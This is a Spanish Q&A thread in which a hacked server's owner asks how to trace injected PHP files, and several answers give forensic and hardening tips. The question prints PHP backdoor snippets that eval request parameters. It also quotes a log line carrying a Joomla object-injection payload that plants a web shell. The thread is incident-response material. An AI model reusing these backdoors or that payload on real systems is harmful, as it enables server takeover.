¿Cómo puedo determinar de dónde provino el script inyectado?

0

Tengo un servidor que actualmente ha sido hackeado. Se están creando archivos en mi servidor que tiene contenido de este tipo:

if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/}

O como esto:

<?php /*auV*/if/*fpFF*/(isset($_REQUEST['ufopf']))/*LpY*/{/*klY*/$P=/*OMca*/"assert";/*h*/$m=$P/*gN*/(/*N*/$_REQUEST['ufopf'])/*It*/;/*gSAI*/exit;/*W*/}?>

Y otros.

También se ha inyectado el mismo código en muchos otros archivos que ya estaban en el servidor.

Pensé en dos posibilidades para determinar quién me había pirateado y desde dónde:

Primero examiné los registros del servidor (GET, solicitudes POST) para ver qué sucedió, cuándo, la IP desde donde se realizó la solicitud, etc. No tuve éxito, no pude encontrar nada que sugiriera quién y cómo mi El servidor ha sido hackeado. Podría ser a través de un formulario, podría ser cualquier cosa ... ¿Alguna idea de cómo puedo determinar eso?

Lo segundo que intenté fue examinar los registros de FTP. Pensé que alguien tenía acceso a él y subió esos archivos de malware. Una vez más, tampoco hubo nada que sugiriera que los archivos que veo en mi servidor se cargaron a través de FTP, porque no pude encontrar esos archivos en los registros de FTP.

¿Alguien puede sugerir otros consejos y trucos al respecto? ¿Cómo puedo determinar cómo se crearon o cargaron esos archivos en el servidor? ¿Y cómo puedo determinar de dónde provienen las solicitudes de los archivos inyectados?

Si mi pregunta es offtopic, aceptaré sugerencias para eliminarla y publicarla en otro lugar.

Información del servidor:

Versión de PHP 5.3.29

Sistema: Linux server.myserver.com 3.10.0-327.4.5.el7.x86_64

Apache 2.0

UPDATE :

He encontrado una línea de sospecha que se ve así:

204.12.207.202 - - [13/Jul/2017:16:05:41 +0300] "GET / HTTP/1.1" 200 73776 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\0\0\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:216:\"eval(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2xseC5waHAnLCc4RDlBQUVFQzREOEU0NDM5Mjk5MDQ2QjhDREIzRjc4MiA8P3BocCBAZXZhbCgkX1BPU1RbInhpYW9iYWlmayJdKTsnKTs));JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\0\0\0connection\";b:1;}\xf0\x9d\x8c\x86"
    
pregunta Ionut 20.07.2017 - 13:25
fuente

3 respuestas

1

Para empezar, puedes probar y verificar la marca de tiempo de esos archivos. Es posible que estés viendo más de una infección; Si su sitio es vulnerable y ha sido escaneado por X bots diferentes, todos buscando la misma vulnerabilidad, es posible que tenga tantos scripts diferentes hackeados por diferentes fuentes.

Luego, compruebe qué solicitudes se produjeron en ese momento o muy pocos segundos antes, y vea si detecta algún patrón.

Como práctica recomendada, el usuario que ejecuta el servidor web (ya sea apache, daemon, nobody o www) no debería tener permisos de escritura en ningún directorio web, excepto la carga temporal y las sesiones; y los archivos depositados allí no deberían ser accesibles (por ejemplo, con un archivo .htaccess de solo lectura en el mismo directorio que deniega el acceso a ese directorio y todos sus subdirectorios ).

    
respondido por el LSerni 20.07.2017 - 15:32
fuente
0

No hay forma de determinar quién lo hizo, ya que estarían cubriendo las pistas, y si tuvieras un IP falso o falso, una cosa parece que el vector de ataque es el navegador, ya que los datos de la página php, puedes intentar reproducir el Solicitar y ver qué y cómo se inyectó. No puedo decir mucho sin registros completos o detalles.

    
respondido por el user3754136 20.07.2017 - 15:33
fuente
0

Si está utilizando Linux, simplemente intente netstat para ver qué está estableciendo la conexión y qué está escuchando su servidor. Con el pequeño código php que proporcionaste, no creo que esta sea la codificación de los shell php. Los archivos Backdoor serían más precisos en este caso, ya que tiene (isset($_REQUEST['oUS']) significa que si existe una variable de solicitud ouS , entonces se está haciendo algo. Después de usar netstat para ver qué está sucediendo, si no ve nada extraño, es posible que esto ya esté controlado por los atacantes, lo que significa que pueden volver a conectarse cuando lo deseen. ¿Lo que podemos hacer?. Puede rastrearlos si conoce su sistema lo suficientemente bien al observar los procesos (HTOP en Linux, por ejemplo), para determinar los procesos sospechosos y su ubicación.

Entonces, para optimizar la confidencialidad en este caso, debería pensar en volver a configurar el permiso para los archivos / subarchivos / directorios que están siendo infectados. Además, utiliza iptables para bloquear todos los puertos que no está utilizando para obstruir la conexión de los atacantes. Debería tener un análisis rápido en los directorios que cree que los atacantes pueden cargar.

P / s: sería bueno si proporcionara la información de su sistema operativo. (Lo veo ahora)

    
respondido por el Ender 21.07.2017 - 09:13
fuente

Lea otras preguntas en las etiquetas